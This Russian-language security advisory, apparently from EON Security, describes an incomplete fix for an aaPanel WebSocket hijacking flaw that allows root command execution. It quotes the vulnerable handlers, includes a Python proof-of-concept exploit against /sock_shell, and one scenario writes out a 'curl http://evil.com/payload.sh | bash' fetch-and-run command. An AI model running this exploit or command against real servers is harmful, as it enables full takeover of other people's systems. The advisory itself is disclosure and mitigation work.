aaPanel: Вендоры не всегда исправляют вещи должным образом

Неполное исправление CVE-2021-37840 по-прежнему оставляет 3,6 млн серверов уязвимыми для RCE с правами root спустя 5 лет

Обнаружено: EON Security
CVE: Ожидает присвоения
CVSS: 8.8 (Высокий) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Затронуто: aaPanel версии с 6.8.12 по 7.65.0 (все версии после исправления 2021 года)
Установлено на: более 3,6 млн серверов

Краткая версия

В 2021 году была раскрыта уязвимость Cross-Site WebSocket Hijacking (CVE-2021-37840) в aaPanel, бесплатной панели управления хостингом, работающей на более чем 3,6 млн серверов. Вендор добавил проверку CSRF-токена в качестве «исправления».

Исправление было архитектурно некорректным.

Вместо того чтобы отклонять неаутентифицированные WebSocket-соединения на уровне HTTP (возвращая 401), исправление пропускает каждое соединение (возвращает 101 Switching Protocols) и проверяет аутентификацию только внутри обработчика — после того, как WebSocket уже установлен. Добавленная ими CSRF-проверка может быть обойдена несколькими способами.

EON Security обнаружила, что спустя 5 лет все версии aaPanel по-прежнему уязвимы для того же класса атак.

Это всего лишь 10-й CVE, когда-либо присвоенный aaPanel за более чем 6-летнюю историю.

Что это значит простыми словами

Если вы используете aaPanel, вот что злоумышленник может с вами сделать:

Сценарий 1: Администратор нажимает на плохую ссылку

1. Кто-то из вашей команды нажимает на ссылку, на которую не следовало (письмо, реклама, сообщение)
2. Эта страница тайно открывает WebSocket-соединение к вашему aaPanel — ваш браузер автоматически включает ваш cookie сессии, потому что вы уже вошли в систему
3. aaPanel видит действительную сессию и пропускает соединение — аутентификация пройдена
4. Злоумышленник отправляет curl http://evil.com/payload.sh | bash — эта команда выполняется от root на вашем сервере
5. Ваш сервер полностью скомпрометирован: украдены сайты, уничтожены базы данных, посетителям раздаётся вредоносное ПО

Всего один клик. Один ошибочный клик — и злоумышленник получает всё.

Сценарий 2: Утечка API-ключа

1. API-ключ оказывается там, где не следует — в публичном репозитории GitHub, резервной копии конфига, заметках разработчика
2. Злоумышленник аутентифицируется с помощью этого ключа и открывает WebSocket к aaPanel
3. CSRF-проверка видит «это запрос, аутентифицированный через API» и полностью пропускает проверку — это жёсткий обход, встроенный в код
4. Злоумышленник немедленно выполняет команды от root
5. Никаких кликов администратора, никаких предупреждений, никаких подозрительных логов — просто мгновенная компрометация

Это более серьёзная проблема. Защита CSRF вообще не применяется к запросам, аутентифицированным через API. Она была разработана для проверки браузерных соединений, но путь кода для доступа через API полностью её обходит.

В любом случае, затронуто 3,6 миллиона серверов. Все версии с 2021 года.

1. Все 10 WebSocket-эндпоинтов принимают соединение до проверки личности — возвращается HTTP 101 Switching Protocols перед проверкой аутентификации
2. CSRF-проверка имеет жёсткие условия обхода — g.api_request=True (запросы, аутентифицированные через API) и g.is_aes=True (AES-зашифрованные запросы) полностью пропускают проверку
3. Эндпоинт /sock_shell выполняет произвольные команды — subprocess.Popen(cmd + " 2>&1", shell=True)
4. Эндпоинт /webssh принимает SSH-учётные данные, предоставленные злоумышленником — подключение к любому SSH-хосту
5. Работает от root — полная компрометация сервера

Детали уязвимости

1. WebSocket-эндпоинты принимают соединения до аутентификации

Все WebSocket-эндпоинты возвращают HTTP 101 Switching Protocols перед любой проверкой аутентификации. Проверка аутентификации comm.local() выполняется внутри обработчика, после того как обновление WebSocket уже завершено:

@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Проверка аутентификации происходит ПОСЛЕ 101
    if comReturn:
        ws.send(str(comReturn))
        return

Затронутые эндпоинты:

• /webssh (прокси SSH-терминала)
• /sock_shell (прямое выполнение команд)
• /ws_panel (управление панелью)
• /ws_home (дашборд)
• /ws_project (управление проектами)
• /ws_model (управление моделями)
• /workorder_client (система тикетов)
• /v2/* варианты всех вышеперечисленных

2. Обход проверки CSRF-токена

Функция check_csrf_websocket() предназначена для предотвращения Cross-Site WebSocket Hijacking:

def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Обход: режим AES пропускает проверку
    if g.api_request: return True    # ← Обход: API-запросы пропускают проверку
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

Существует два жёстких условия обхода:

• g.api_request: Когда True (устанавливается при аутентификации через API-ключ), CSRF-проверка полностью пропускается. Любая WebSocket-сессия с аутентификацией через API обходит эту защиту.
• g.is_aes: Когда True (устанавливается при AES-зашифрованных API-запросах), CSRF-проверка также пропускается.

Сравнение токенов (get_csrf_sess_html_token_value()) возвращает session.get('request_token_head', ""). В сессиях, где это значение ещё не инициализировано, пустой x-http-token проходит проверку.

3. Выполнение команд через sock_shell

Эндпоинт /sock_shell передаёт строки, предоставленные злоумышленником, напрямую в subprocess.Popen с shell=True:

def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Произвольное выполнение команд
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

Каждое полученное сообщение на WebSocket выполняется как shell-команда. Вывод передаётся обратно через WebSocket. Поскольку aaPanel работает от root, это полная компрометация системы.

4. SSH-прокси через webssh

Эндпоинт /webssh принимает параметры SSH-подключения, предоставленные злоумышленником, из первого WebSocket-сообщения:

ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

Если хост — 127.0.0.1 или localhost, обработчик проверяет базу данных на наличие сохранённых учётных данных или использует предоставленные злоумышленником.

Сценарий атаки

Основной путь эксплуатации — CSWSH (Cross-Site WebSocket Hijacking), требующий взаимодействия пользователя:

1. Администратор имеет активную сессию aaPanel (вошёл в систему)
2. Администратор посещает вредоносную веб-страницу
3. Страница открывает WebSocket к wss://victim-panel:8888/sock_shell
4. Браузер автоматически включает cookie сессии
5. comm.local() проходит аутентификацию (действительный cookie сессии)
6. Злоумышленник отправляет {"x-http-token": ""} или использует пути обхода через API/AES
7. Если CSRF-проверка пройдена, команды могут выполняться от root

Альтернативный путь через компрометацию API-ключа:

1. Злоумышленник получает действительный API-ключ aaPanel
2. Запросы, аутентифицированные через API, устанавливают g.api_request = True
3. CSRF-проверка полностью пропускается для этих запросов
4. Прямое выполнение команд через WebSocket без взаимодействия с пользователем

Затронутые эндпоинты

PoC

import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Попытка обхода CSRF с пустым токеном
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF-проверка активна — может потребоваться обход через API
            return None
        
        # Выполнение команды
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

Полный PoC: exploit.py

Обнаружение

Используйте скрипт check.py для проверки, имеет ли экземпляр aaPanel уязвимые WebSocket-эндпоинты:

python3 check.py https://target:8888

Меры по смягчению

1. Проверять аутентификацию ДО принятия WebSocket-обновления — возвращать HTTP 401 на уровне рукопожатия, а не после
2. Удалить жёсткие условия обхода — g.api_request и g.is_aes не должны пропускать CSRF-защиту
3. Проверять заголовок Origin при обновлении WebSocket — отклонять неизвестные источники
4. Отключить sock_shell, если не требуется — даёт прямое выполнение команд от root
5. Ограничить сетевой доступ к интерфейсу администрирования aaPanel

Хронология

Ссылки

• CVE-2021-37840 — Оригинальный CSWSH aaPanel
• CVE-2026-29859 — Произвольная загрузка файлов в aaPanel (март 2026)
• aaPanel GitHub — Официальный репозиторий
• EON Security — Обнаружитель

Благодарность

Yadav — EON Security
Веб-сайт: https://eonsecurity.co.za

Лицензия

Этот контент распространяется под лицензией MIT. PoC предоставлен только для образовательных и защитных целей.